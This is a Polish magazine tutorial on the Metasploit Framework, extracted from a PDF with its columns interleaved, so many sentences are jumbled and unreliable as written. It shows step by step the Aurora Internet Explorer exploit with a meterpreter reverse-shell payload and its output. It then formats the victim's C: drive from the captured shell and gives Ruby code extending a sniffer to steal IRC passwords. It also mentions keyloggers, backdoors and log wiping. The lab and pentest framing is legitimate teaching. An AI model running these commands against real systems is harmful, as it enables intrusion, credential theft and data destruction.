You are on page 1of 7

ATAK

Metasploit
WOJCIECH SMOL

w praktyce
Stopień trudności
cz. II
Artykuł przedstawia krok po kroku wszystko to, co każdy
zainteresowany bezpieczeństwem IT chciał zawsze wiedzieć
o zaawansowanych testach penetracyjnych oraz metodach
tworzenia własnych modułów Metasploit Framework, ale bał
się własnoręcznie sprawdzić.

W
poprzednim artykule na temat Poznaliśmy również najważniejsze
praktycznej pracy w środowisku informacje na temat zyskującego coraz
Metasploit Framework (Metasploit większą popularność, ofensywnego
w praktyce, hakin9 3/2010) poznaliśmy podejścia (ang. Offensive Security) do
jego podstawowe możliwości w zakresie tematu bezpieczeństwa informatycznego.
przeprowadzania testów penetracyjnych z Przypomnijmy, że bezpieczeństwo ofensywne
wykorzystaniem gotowych modułów. opiera się przede wszystkim na praktycznym
Z udostępnianych przez Metasploit sprawdzaniu bieżącego stanu bezpieczeństwa
interfejsów użytkownika, poznaliśmy systemu teleinformatycznego. Praktycznym do
szczegółowo środowisko msfconsole. Jako, tego stopnia, że wykorzystuje w swych testach
że jest najbardziej stabilne, najczęściej narzędzia stosowane przez... komputerowych
aktualizowane oraz pozwala na dostęp włamywaczy. Osoba zajmująca się
do praktycznie wszystkich funkcji, nadal ofensywnym bezpieczeństwem będzie więc
Z ARTYKUŁU będziemy przede wszystkim z niego korzystać. szukać w testowanym systemie luk za pomocą
DOWIESZ SIĘ
Poznaliśmy również kilka praktycznych skanera Nessus, czy też określać widoczność
czym jest ofensywne
bezpieczeństwo, przykładowych testów penetracyjnych. Wiemy komputerów oraz ich usług za pomocą
już więc, że Metasploit Framework może skanera nmap. Najciekawszą część takiego
na czym polegają
zaawansowane testy zostać wykorzystany na etapie rekonesansu przedsięwzięcia będą jednak stanowić testy
penetracyjne,
do zbierania informacji o docelowej penetracyjne.
jakie praktyczne możliwości infrastrukturze za pomocą szeregu zawartych Testy penetracyjne stanowią metodę oceny
oferuje Metasploit Framework
w zakresie tworzenia własnych w nim modułów pomocniczych (ang. bezpieczeństwa systemu informatycznego
modułów, auxiliary). Wiemy również, że setki modułów poprzez symulowanie prawdziwych ataków
w jaki sposób komputerowi exploitów oraz payloadów (programów mogących pochodzić od potencjalnych
włamywacze odkrywają luki w
systemach informatycznych wykonywanych w przejętym systemie po włamywaczy. Tester (zwany często etycznym
i w jaki sposób się do nich udanym wykonaniu ataku testowego za hakerem lub pentesterem), korzystając z
włamują.
pomocą exploitu) pozwalają na wykonywanie prawdziwych narzędzi umożliwiających
CO POWINIENEŚ niezliczonej ilości zaawansowanych testów wykonanie udanego włamania, próbuje
WIEDZIEĆ penetracyjnych. Poznaliśmy również przykłady przełamać zabezpieczenia testowanego
znać podstawowe rodzaje ataków testowych wymagających interakcji systemu. Dopiero tego rodzaju testy są w stanie
ataków na systemy
informatyczne,
z użytkownikiem docelowego systemu, czyli odpowiedzieć na pytanie, czy dany system
takich, które są w praktyce spotykane coraz informatyczny jest rzeczywiście odporny na
znać podstawy obsługi
systemu Linux. częściej. znane obecnie rodzaje ataków. Przykłady

58 HAKIN9 4/2010
METASPLOIT W PRAKTYCE CZ. II

tego rodzaju działań, polegających na Metasploit Framework. W międzyczasie automatyczny proces aktualizacyjny,
wykonywaniu testowych włamań do rządy Niemiec i Francji zaleciły swym dzięki któremu do dyspozycji otrzymamy
własnych systemów (lub cudzych, za pełną obywatelom przesiadkę na alternatywne wszystkie najnowsze, dostępne na obecną
zgodą uprawnionych administratorów przeglądarki internetowe. Wreszcie chwilę moduły. Wyposażeni w odpowiednią
oraz właścicieli) poznaliśmy właśnie w Microsoft podjął decyzję o załataniu wiedzę oraz broń załadowaną najnowszą
poprzednim opracowaniu. tej groźnej luki poza comiesięcznym amunicją możemy wreszcie przystąpić do
Jednak Metasploit Framework pozwala cyklem łatania, co zostało ostatecznie naszego pierwszego wystrzału z Aurory.
nie tylko na używanie zawartych w nim w zrealizowane 21. stycznia. Przykład ten W tym celu należy w konsoli
sposób modularny exploitów, ale również pokazuje, jak niesamowicie szybko msfconsole wykonać następujące
na tworzenie oraz testowanie własnych społeczność włącza w skład środowiska polecenia:
lub przerabianie tych już istniejących. Metasplit najnowsze exploity, dzięki
Środowisko to zawiera również narzędzia czemu jesteśmy w stanie na bieżąco msf > use exploit/windows/
wspierające przebieg kompleksowej testować podatność własnych systemów browser/ie _ aurora (wybór oraz
oceny bezpieczeństwa całej infrastruktury, na najnowsze zagrożenia typu Zero Day. wejście w tryb konfiguracji modułu
w tym narzędzia pozwalające na Warto przy okazji podkreślić, że operacja exploitu ie_aurora),
gromadzenie oraz analizowanie danych Aurora stanowi jeden z pierwszych • msf exploit(ie _ aurora) > set
otrzymywanych na podstawie kolejnych zaobserwowanych ataków typu APT PAYLOAD windows/meterpreter/
przeprowadzanych testów. (ang. Advanced Persistent Threat) reverse _ tcp (wybór oraz wejście
przeprowadzonych na tak masową w tryb konfiguracji modułu payloadu
Praktyka czyni mistrza! skalę. Ataki tego typu wymierzone są meterpreter/reverse _ tcp ;
Moim celem ponownie nie jest zazwyczaj w duże korporacje lub ośrodki payload to kod, który zostanie
omówienie wszystkich, niezliczonych polityczne i polegają na zaawansowanej uruchomiony w docelowym systemie
możliwości środowiska Metasploit. Nie (skoordynowanej i wykorzystującej w przypadku udanego wykonania się
będę się również zajmował istniejącymi zaimplementowany specjalnie na tę ataku testowego),
metodologiami przeprowadzania testów okazję zaawansowany malware, będący • msf exploit(ie _ aurora) > set
penetracyjnych, takimi jak OSSTMM w stanie wykorzystać nieznane do tej LHOST 192.168.64.129 (ustawienie
(ang. Open Source Security Testing pory luki), uporczywej (zastosowanie adresu IP naszego systemu, z którym
Methodology Manual). nieznanego do tej pory złośliwego payload uruchomiony w docelowym
Ponownie skupię się przede oprogramowania pozwala zazwyczaj na systemie nawiąże połączenie
wszystkim na praktycznych przykładach, uniknięcie wykrycia przez dłuższy czas) zwrotne),
na podstawie których poznamy kolejne infiltracji, której celem jest zebranie ściśle • msf exploit(ie _ aurora) > set
możliwości Metasploit Framework. określonych danych. Zdaniem wielu URIPATH / (ustawienie ścieżki w
Na początek przypomnijmy sobie specjalistów, operacja Aurora stanowi adresie, na który musimy zwabić
jednak podstawy pracy w środowisku zapowiedź nowej ery tego rodzaju potencjalną ofiarę, w tym przypadku
msfconsole na przykładzie najnowszego, ataków. My natomiast przypomnijmy będzie to po prostu adres komputera,
słynnego już exploitu Aurora. sobie procedurę przeprowadzania testów na którym konfigurujemy exploit),
Informacje o nowej luce Zero penetracyjnych z poziomu msfconsole • msf exploit(ie_aurora) > exploit
Day, obecnej w niemal wszystkich sprawdzając podatność testowego (uruchomiemie exploitu ie_aurora).
wersjach przeglądarki Internet Explorer, systemu Windows XP na działanie słynnej
pojawiły się 12 stycznia br. wraz z Aurory. W tym momencie nasz exploit przygotuje
doniesieniami o udanych cyberatakach Tak jak poprzednio, jako środowisko serwer oczekujący na przyjęcia
(ochrzczonych w toku dalszych wydarzeń pracy z Metasploit Framework posłuży połączenia z docelowego systemu, co
mianem operacji Aurora) precyzyjnie nam najnowszy systemem Linux poznamy po następującej sekwencji
wymierzonych w Google, Adobe oraz BackTrack 4 Final. W systemie tym, komunikatów:
kilkadziesiąt innych wiodących firm dostęp do msfconsole uzyskamy,
z branży informatycznej. Microsoft wykonując polecenie ./pentest/ • [*] Exploit running as
niezwłocznie (14.01.2010) opracował exploits/framework3/msfconsole lub background job. msf
odpowiedni poradnik zabezpieczeń też wybierając z głównego systemowego exploit(ie _ aurora) >
(Microsoft Security Advisory 979352), menu opcję Backtrack/Penetration/ • [*] Started reverse handler on
zawierający szereg porad utrudniających Metasploit Exploitation Framework/ port 4444
przeprowadzenie udanych ataków. Framework Version 3/msfconsole. • [*] Using URL: http://0.0.0.0:
Od tego momentu, nie upłynęły nawet Zanim jednak zaczniemy na dobre, 8080/
24 godziny, a exploit wykorzystujący zaktualizujmy jeszcze całe środowisko • [*] Local IP: http://
najnowszą lukę został upubliczniony Metasploit za pomocą polecenia svn 192.168.64.129:8080/
i włączony w skład środowiska update. W jego wyniku rozpocznie się • [*] Server started.

4/2010 HAKIN9 59
ATAK
Teraz pozostaje nam już tylko • msf exploit(ie _ aurora) > Podsumowując, udało nam się więc
odwiedzenie w docelowym systemie sessions -i 1, przejąć całkowitą kontrolę nad systemem
za pomocą przeglądarki Internet • [*] Starting interaction with Windows XP za pomocą exploitu Zero
Explorer złośliwego adresu (czyli 1..., Day. Exploit Aurora wszedł w skład
adresu określonego w parametrze: • meterpreter > getuid (wyświetlenie Metasploit Framework na długo przed
Local IP: http://192.168.64.129:8080/ ). informacji o użytkowniku zalogowanym opublikowaniem przez Microsoft
W trakcie rzeczywistego ataku, intruz w docelowym systemie), stosowanych poprawek bezpieczeństwa.
starałby się zwabić potencjalną ofiarę • Server username: WOJTEK- Skoro przypomnieliśmy już sobie
na przygotowany przez siebie adres CQS4EXFU\admin , z jak potężnym narzędziem do
za pomocą specjalnie przygotowanej • meterpreter > shell przeprowadzania testów penetracyjnych
wiadomości e-mail, poprzez przesłanie (uruchomienie konsoli systemowej mamy do czynienia, możemy przystąpić
linku za pomocą komunikatora IM, itp. przejętego systemu), do poznawania kolejnych z jego
Po odwiedzeniu w systemie • Process 388 created , niezliczonych możliwości.
docelowym złośliwego adresu (http: • Channel 1 created ,
//192.168.64.129:8080/ ), jeśli tylko system • Microsoft Windows XP [Version Zarządzanie zdobytymi
ten będzie podatny na atak, w środowisku 5.1.2600], informacjami
Metasploit ujrzymy następującą • (C) Copyright 1985-2001 Każdy test penetracyjny, czy to
sekwencję komunikatów: Microsoft Corp., przeprowadzany w pojedynkę, czy też
• C:\Documents and Settings\ zespołowo, polega w dużej mierze na
• [*] Sending Microsoft admin\Desktop>format c : gromadzeniu znacznych ilości informacji.
Internet Explorer "Aurora" (jesteśmy w konsoli docelowego Już w średniej wielkości organizacji, ilość
Memory Corruption to client systemu, możemy rozpocząć dowolne danych zgromadzonych na temat całej
192.168.64.135 [*] Sending działania w zdalnym systemie...), infrastruktury na etapie rekonesansu oraz
stage (723456 bytes), • format c:, na temat poszczególnych podatności
• [*] Meterpreter session 1 • The type of the file system is wykrytych w trakcie właściwych testów
opened (192.168.64.129:4444 - NTFS, penetracyjnych, może być przytłaczająca.
>192.168.64.135:1109), • WARNING, ALL DATA ON NON- Każdy pentester chciałby
• msf exploit(ie _ aurora) >. REMOVABLE DISK , dysponować narzędziem umożliwiającym
• DRIVE C: WILL BE LOST!, gromadzenie informacji o
Połączenie z docelowym systemem • Proceed with Format (Y/N)? Y. przeprowadzonych do tej pory testach,
zostało więc nawiązane, a my za pomocą szybkie wyszukiwanie w dotychczasowych
następujących komend możemy uzyskać Przebieg całej procedury można wynikach oraz wspierające wymianę
pełny dostęp do wiersza poleceń ofiary: prześledzić na Rysunku 1. informacji z zespołem oraz przydatne
w trakcie tworzenia raportu z przebiegu
całej operacji. Środowisko Metasploit
Framework oczywiście zostało
wyposażone w mechanizmy wspierające
tego typu operacje.
W środowisku msfconsole, podręczną
bazę danych opartą na technologii
SQLite możemy utworzyć za pomocą
polecenia db _ create . Następnie
należy załadować moduł db _ tracker,
korzystając z polecenia load db _
tracker. Natomiast polecenie help
pozwoli nam na wyświetlenie wszystkich
dostępnych poleceń dla naszej
podręcznej bazy danych:

• db _ add _ host – dodanie jednego


lub więcej hostów do bazy,
• db _ add _ note – dodanie notatki
do hosta,
• db _ add _ port – dodanie
Rysunek 1. Słynny exploit Aurora w akcji informacji o porcie hosta,

60 HAKIN9 4/2010
• db _ autopwn – uruchomienie automatycznego testu
penetracyjnego,
• db _ connect – nawiązanie połączenia z istniejącą bazą
danych,
• db _ create – utworzenie nowej bazy danych,
• db _ del _ host – usunięcie jednego lub więcej hostów z
bazy,
• db _ del _ port – usunięcie informacji o porcie,
• db _ destroy – usunięcie istniejącej bazy danych,
• db _ disconnect – zerwanie połączenia z istniejącą bazą
danych,
• db _ driver – określenie sterownika bazy danych,
• db _ hosts – wyświetlenie informacji o wszystkich hostach
w bazie danych,
• db _ import _ amap _ mlog – import informacji z pliku
wynikowego programu THC-Amap,
• db _ import _ nessus _ nbe – import informacji z pliku
wynikowego (NBE) programu Nessus,
• db _ import _ nessus _ xml – import informacji z pliku
wynikowego (NESSUS) programu Nessus,
• db _ import _ nmap _ xml – import informacji z pliku
wynikowego programu Nmap,
• db _ nmap – uruchomienie skanowania programem
Nmap i zapisanie wyników do bazy,
• db _ notes – wyświetlenie wszystkich notatek zapisanych
w bazie,
• db _ services – wyświetlenie wszystkich usług odkrytych
w ramach testowanych hostów,
• db _ vulns – wyświetlenie wszystkich podatności
zapisanych w bazie.

Następujący prosty przykład ilustruje wykorzystanie


wbudowanej w Metasploit Framework bazy danych do
zarządzania informacjami zbieranymi w trakcie testu
penetracyjnego:

• db _ nmap -v -sV 192.168.64.0/24 – przeskanowanie


sieci 192.168.64.* za pomocą programu Nmap
uruchomionego z zadanymi parametrami i zapisanie
wyników do bazy danych,
• db _ hosts – w wyniku otrzymamy informacje na temat
hostów odkrytych przez skaner Nmap,
• db _ services – w wyniku otrzymamy informacje na
temat wszystkich usług, które zostały odkryte w ramach
hostów przeskanowanych programem Nmap.

Jak widać praca z bazą nie jest skomplikowana, a daje nam


naprawdę spore możliwości gromadzenia oraz analizowania
informacji zdobywanych na bieżąco w trakcie rekonesansu oraz
ataków testowych. Pentesterzy szukający jeszcze większych
możliwości w zakresie zarządzania informacjami gromadzonymi
w trakcie testów penetracyjnych, powinni natomiast zapoznać
się oprogramowaniem Dradis Framework.
Dradis to otwarty (open source) framework wspierający
nie tylko zbieranie oraz zarządzanie informacjami

4/2010 HAKIN9 61
ATAK
gromadzonymi w trakcie audytów nie otrzymamy w przypadku bardzo • [*] Loaded protocol FTP from
bezpieczeństwa informatycznego, ale kosztowych, zamkniętych pakietów /pentest/exploits/framework3/
również narzędzie pracy grupowej. Z komercyjnych, takich jak choćby data/exploits/psnuffle/ftp.rb...
najciekawszych cech tego aktywnie środowisko Core Impact. Jako przykład • [*] Loaded protocol IMAP from
rozwijanego oprogramowania warto rozszerzenia możliwości środowiska /pentest/exploits/framework3/
wymienić możliwość komunikacji z Metasploit Framework o własne pomysły, data/exploits/psnuffle/
wykorzystaniem SSL, funkcje importu z spróbujmy rozszerzyć możliwości modułu imap.rb...
wielu programów (np. Nmap, Nessus), pomocniczego psnuffle. • [*] Loaded protocol POP3 from
możliwość dołączania plików, funkcje Moduł pomocniczy auxiliary/ /pentest/exploits/framework3/
automatycznego tworzenia raportów oraz sniffer/psnuffle oferuje możliwość data/exploits/psnuffle/
możliwość korzystania z zewnętrznych podsłuchiwania haseł używanych w pop3.rb...
systemów baz danych informacji o protokołach pop3, imap, ftp, oraz http. • [*] Loaded protocol URL from
podatnościach (ang. Vulnerability Oferuje funkcjonalność zbliżoną do /pentest/exploits/framework3/
databases). programu Dsniff. Użycie tego modułu w data/exploits/psnuffle/url.rb...
środowisku msfconsole jest niezwykle • [*] Sniffi ng traffic.....
Rozszerzanie możliwości proste i sprowadza się do wykonania • [*] Successful FTP Login:
modułów następujących poleceń: 192.168.6.212:21-192.168.6.201:
Jak już wspominałem, każdy fragment 46614 >> user / pass (220 3Com
środowiska Metasploit może zostać • msf > use auxiliary/sniffer/ 3CDaemon FTP Server Version
przez nas podejrzany, zmieniony, a psnuffle 2.0)
nawet wykorzystany we własnym celu. • msf auxiliary(psnuffle) > run
Taka otwartość pozwala na proste Załóżmy teraz, że chcielibyśmy rozszerzyć
tworzenie własnych funkcji, naukę Jeśli tylko w widocznym dla naszego możliwości modułu psnuffle o funkcję
poprzez podglądanie najciekawszych systemu ruchu sieciowym pojawią sniffera poświadczeń przekazywanych
rozwiązań, a przede wszystkim powoduje, się rozpoznawane przez psnuffle za pomocą protokołu IRC (Internet Relay
że Metasploit Framework ma dosłownie mechanizmy uwierzytelniania, Chat). Stojąc przed tak postawionym
nieograniczone możliwości. Jeśli jakaś natychmiast zostaniemy poinformowani o zadaniem, najprościej będzie, jeśli
funkcja jest nam potrzeba, możemy ją przechwyconych poświadczeniach: zapoznamy się z istniejącymi już
po prostu utworzyć lub zmodyfikować w ramach psnuffle modułami i
na własny użytek, moduł już istniejący. • [*] Auxiliary module running wykorzystamy je do własnego celu. W
Tego rodzaju funkcjonalności nigdy as background job systemie Linux BackTrack 4 Final, moduły
te odnajdziemy w katalogu /pentest/
exploits/framework3/data/exploits/
psnuffle. Jako szablon wykorzystamy
moduł sniffera protokołu pop3 zawarty
w pliku pop3.rb. Dzięki skorzystaniu z
gotowego przykładu, jesteśmy w stanie
w stosunkowo prosty sposób utworzyć
poszczególne elementy własnego
rozszerzenia modułu. Poszczególne
części będą miały następującą postać.
Definicje wzorców:

self.sigs = {
:user => /^(NICKs+[^n]+)/si,
:pass => /b(IDENTIFYs+[^n]+)/si,}

Definicje portów oraz sposobu śledzenia


sesji: (Listing 1).
Następnie wystarczy już tylko
opracować przetwarzanie zawartości
pakietów i wychwytywanie treści
spełniających założenia zdefiniowanych
powyżej wyrażeń regularnych. Z pełną
Rysunek 2. Metasploit wspomaga zarządzanie zebranymi informacjami treścią proponowanego rozszerzenia

62 HAKIN9 4/2010
METASPLOIT W PRAKTYCE CZ. II

możliwości modułu psnuffle można się Jak więc mogliśmy się przekonać, własnych modułów. Nadal jednak daleko
zapoznać pod następującym adresem: dzięki wykorzystaniu gotowych nam do poznania wszystkich możliwości
http://www.offensive-security.com/msf/irc.rb. elementów środowiska, byliśmy w tego środowiska.
Widać więc wyraźnie, ze dzięki stanie zaimplementować nasz skaner Warto jeszcze choćby tylko
całkowitej otwartości kodu, środowisko w dosłownie kilkunastu liniach kodu, a wspomnieć o takich możliwościach
Metasploit Framework daje nam sam proces jego tworzenia przypominał jak uruchomienie całego Metasploit
niesamowitą elastyczność oraz dopasowywanie gotowych klocków. Framework jako payloadu w docelowym
niespotykaną łatwość tworzenia własnych W celu praktycznego skorzystania z systemie. Tego typu zabieg może bowiem
modyfikacji oraz rozszerzeń. naszego skanera wystarczy już tylko plik być niezwykle przydatny w momencie,
z jego treścią zapisać (w systemie Linux gdy uda nam się przejąć kontrolę nad
Tworzenie własnych BackTrack 4 Final) w katalogu /pentest/ jednym z systemów w docelowej sieci, a
modułów exploits/framework3/modules/auxiliary/ dalsze testy penetracyjne muszą być z
Może się również zdarzyć tak, że scanner/ pod nazwą nasz_tcp.rb. W różnych względów (np. by ruch sieciowy
modyfikacja, bądź rozszerzenie celu skorzystania z naszego skanera generowany przez testy penetracyjne nie
możliwości jakiegoś modułu będzie wystarczy już tylko uruchomić środowisko wychodził poza docelową infrastrukturę)
dla nas niewystarczające. Jeśli więc msfconsole i wydać następujące wykonywane już wyłącznie wewnątrz
do skutecznego przeprowadzenia polecenia: docelowego lanu. Inne moduły Metasploit
zaplanowanych testów, niezbędne pozwalają również na zacieranie śladów
okaże się utworzenie własnego modułu, • msf > use auxiliary/scanner/ (np. poprzez wyczyszczenie logów
środowisko Metasploit Framework nasz _ tcp systemowych), jakie testy penetracyjne
ponownie okaże się na tę okazję • msf auxiliary(nasz _ tcp) > set pozostawiły w docelowym systemie.
doskonałym rozwiązaniem. Załóżmy więc, RHOSTS 192.168.1.10 Istnieją również moduły stworzone z
że jesteśmy zmuszeni w szybkim czasie • RHOSTS => 192.168.1.10 myślą o zapewnieniu utrzymania dostępu
utworzyć własny specyficzny moduł • msf auxiliary(simple _ tcp) > do przejętego systemu docelowego. Tego
skanera sieciowego. Zadaniem naszego run typu moduły są w stanie zainstalować w
skanera jest nawiązywanie połączeń TCP docelowym systemie keylogger lub też
(domyślnie na porcie 6666, moduł ma Okazuje się więc, że nawet w przypadku backdoor, dzięki czemu pentester będzie
jednak udostępniać możliwość zmiany wymogu utworzenia całkowicie nowego w stanie uzyskać dostęp do systemu,
domyślnego ustawienia). Po nawiązaniu modułu, środowisko Metasploit nawet jeśli wcześniej wykorzystane luki
połączenia skaner ma przesłać do serwera Framework okaże się zaskakująco zostaną załatane.
wiadomość HELLO SERVER, odebrać pomocne dzięki niezwykle prostym
otrzymaną odpowiedź oraz wyświetlić jej metodom wykorzystania istniejącego już
Listing 2. Własny moduł
treść wraz z adresem IP zdalnego hosta. w jego ramach kodu. nietypowego skanera sieciowego
Zadanie na pierwszy rzut oka wydaje
się niebanalne, w rzeczywistości jednak Niezliczone możliwości require 'msf/core'
class Metasploit3 < Msf::Auxiliary
dzięki temu, że możemy skorzystać ze Poznaliśmy kilka kolejnych możliwości include Msf::Exploit::Remote::Tcp
wszystkich klas oraz metod obecnych środowiska Metasploit w zakresie include Msf::Auxiliary::Scanner
już ramach środowiska Metasploit przeprowadzania zaawansowanych def initialize
super(
Framework, rozwiązanie okazuje się testów penetracyjnych oraz zarządzania
'Name' => 'My custom TCP scan',
stosunkowo proste. Otóż nasz skaner danymi gromadzonymi w trakcie audytów. 'Version' => '$Revision: 1 $',
można utworzyć za pomocą, prostej Poznaliśmy również podstawowe metody 'Description' => 'My quick scanner',
'Author' => 'Your name here',
definicji (Listing 2). modyfikacji oraz tworzenia od podstaw
'License' => MSF_LICENSE
)
register_options( [
Listing 1. Sniffer haseł IRC, definicje portów oraz śledzenia sesji
Opt::RPORT(6666)
return if not pkt[:tcp] # We don't want to handle anything other than tcp ], self.class)
return if (pkt[:tcp].src_port != 6667 and pkt[:tcp].dst_port != 6667) # Process end
only packet on port 6667 def run_host(ip)
#Ensure that the session hash stays the same for both way of communication connect()
if (pkt[:tcp].dst_port == 6667) # When packet is sent to server sock.puts('HELLO SERVER')
s = find_session("#{pkt[:ip].dst_ip}:#{pkt[:tcp].dst_port}-#{pkt[:ip].src_ip}: data = sock.recv(1024)
#{pkt[:tcp].src_port}") print_status("Received: #{data} from
else # When packet is coming from the server #{ip}")
s = find_session("#{pkt[:ip].src_ip}:#{pkt[:tcp].src_port}-#{pkt[:ip].dst_ip}: disconnect()
#{pkt[:tcp].dst_port}") end
end end

4/2010 HAKIN9 63
ATAK
Metasploit Framework coraz częściej które to umożliwia przeprowadzanie Przetwarzając lub budując od
oferuje również moduły o znacznym nowatorskich testów penetracyjnych z podstaw własny moduł, do swej dyspozycji
stopniu zautomatyzowania przebiegu wykorzystaniem technik socjotechnicznych. otrzymujemy wszystkie klasy oraz metody
testu penetracyjnego. Przykładowo moduł Każdy zainteresowany ofensywnym wchodzące w skład całego środowiska, co
browser_autopwn jest w stanie nie tylko bezpieczeństwem znajdzie więc z czyni cały proces zaskakująco prostym.
rozpoznać typ docelowej przeglądarki pewnością pośród tych darmowych Wszystko to sprawia, że utworzenie
internetowej, ale również automatycznie rozwiązań odpowiednie dla siebie własnego modułu w języku Ruby jest
uruchomić exploity przeznaczone dla środowisko pracy. stosunkowo proste, a nieskomplikowany
odkrytego typu oprogramowania i w moduł można utworzyć w ciągu kilkunastu
konsekwencji automatycznie uzyskać Podsumowanie minut z wykorzystaniem zaledwie
dostęp do docelowego hosta! Komercyjne Poznaliśmy więc kolejne praktyczne kilkunastu linii kodu.
środowiska do przeprowadzania testów zastosowania środowiska Metasploit Taka otwartość pozwala na proste
penetracyjnych, takie jak choćby niezwykle Framework, tym razem nie ograniczaliśmy tworzenie własnych funkcji, naukę
kosztowny Core Impact, nie mają już więc się już jednak do samych testów poprzez podglądanie najciekawszych
zbyt wielu argumentów w walce ze swymi penetracyjnych i korzystania z gotowych rozwiązań, a przede wszystkim powoduje,
otwartymi odpowiednikami. modułów. Wiemy już więc, że ten prawdziwy że Metasploit Framework ma dosłownie
Wreszcie pozostaje jeszcze jedno z kombajn, pozwalający na realistyczne nieograniczone możliwości. Jeśli jakaś
najciekawszych zagadnień, czyli tworzenie odzwierciedlenie wszystkich typów ataków funkcja jest nam potrzeba, możemy ją
przy pomocy środowiska Metapsloit stosowanych przez komputerowych po prostu utworzyć lub zmodyfikować
Framework własnych exploitów. Materiał włamywaczy, może również wspomagać na własny użytek moduł już istniejący.
ten jest jednak obszerny i wymaga zarządzanie informacjami gromadzonymi Tego rodzaju funkcjonalności nigdy
oddzielnego omówienia. w trakcie audytu. nie otrzymamy w przypadku bardzo
Warto również nadmienić, że Przekonaliśmy się również na kosztowych zamkniętych pakietów
Framework stanowiący przedmiot naszych podstawie praktycznych przykładów, że komercyjnych, takich jak choćby
rozważań, nie jest jedynym darmowym Metasploit to nie tylko setki gotowych wspomniany już Core Impact.
oraz otwartym oprogramowaniem tego exploitów oddanych w nasze ręce przez Zachęcam więc ponownie wszystkich
typu. W samym systemie Linux BackTrack najlepszych ekspertów od bezpieczeństwa zainteresowanych bezpieczeństwem
4 Final mamy do dyspozycji kilka innych informatycznego poświęcających swój informatycznym do praktycznego
środowisk do przeprowadzania testów czas na rozwój tego otwartego projektu, zapoznania się z testami penetracyjnymi
penetracyjnych, takich jak Fast-Track oraz ale również możliwość swobodnego z wykorzystaniem środowiska
Inguma. Warto również zainteresować się przetworzenia lub wykorzystania we Metasploit Framework, ale również
środowiskiem Social Engineering Toolkit, własnym celu każdego z tych modułów. spróbowania własnych sił w zakresie
implementowania własnych rozwiązań.
Nie ma bowiem skuteczniejszego oraz
W Sieci bardziej ekscytującego sposobu na
• http://hcsl.pl/ – Hard Core Security Lab, przetestowanie bezpieczeństwa własnych
• http://www.metasploit.com/ – The Metasploit Project, systemów, niż własnoręczne włamanie
• http://www.offensive-security.com/metasploit-unleashed/ – Metasploit Framework: kurs online, się do ich zasobów. Natomiast tworzenie
• http://www.hcsl.pl/2010/01/poznalismy-sposob-crackerow-na-google.html – nowy Zero Day własnych modułów będzie świetną okazją
w MS Internet Explorer, exploit Aurora, do zapoznania się (w sposób legalny) z
• http://www.microsoft.com/technet/security/advisory/979352.mspx – Microsoft Security
warsztatem komputerowych włamywaczy
Advisory (979352),
• http://www.hcsl.pl/2010/01/ukaza-sie-dugo-oczekiwany-linuks.html – ukazał się długo oraz profesjonalnych pentesterów.
oczekiwany Linux BackTrack 4 Final!, Wszystko to w konsekwencji pozwoli
• http://sourceforge.net/projects/inguma/ – free penetration testing toolkit, nam na lepsze zabezpieczenia własnej
• http://www.thepentest.com/ – Fast-Track penetration testing toolkit, infrastruktury oraz lepsze zrozumienie
• http://www.backtrack-linux.org/ – nowa strona domowa projektu Linux BackTrack, czyhających na nią zagrożeń!
• http://www.irongeek.com/i.php?page=videos/msfpayload-msfencoder-metasploit-3-3
– Using msfpayload and msfencode from Metasploit 3.3 to bypass anti-virus,
• http://www.microsoft.com/technet/security/bulletin/ms08-067.mspx – Microsoft Security
Bulletin MS08-067 – Critical, Wojciech Smol
Autor jest absolwentem wydziału Automatyki, Elektroniki
• http://dradisframework.org/ – Dradis Framework, i Informatyki Politechniki Śląskiej w Gliwicach. Ukończył
• http://www.coresecurity.com/content/core-impact-overview – strona domowa komercyjnego studia na kierunku informatyka, o specjalności Bazy
środowiska do testów penetracyjnych CORE IMPACT PRO, danych, sieci i systemy komputerowe. Pracuje jako
administrator sieci i systemów komputerowych
• http://www.isecom.org/osstmm/ – Open Source Security Testing Methodology Manual,
oraz specjalista od bezpieczeństwa IT. Prowadzi
• http://vimeo.com/6013518 – przykład zastosowania modułu Psnuffle do podsłuchiwania serwis HARD CORE SECURITY LAB dostępny
haseł. pod adresem http://hcsl.pl/. Kontakt z autorem:
wojciech.smol@gmail.com lub wojciech.smol@mz.pl.

64 HAKIN9 4/2010

You might also like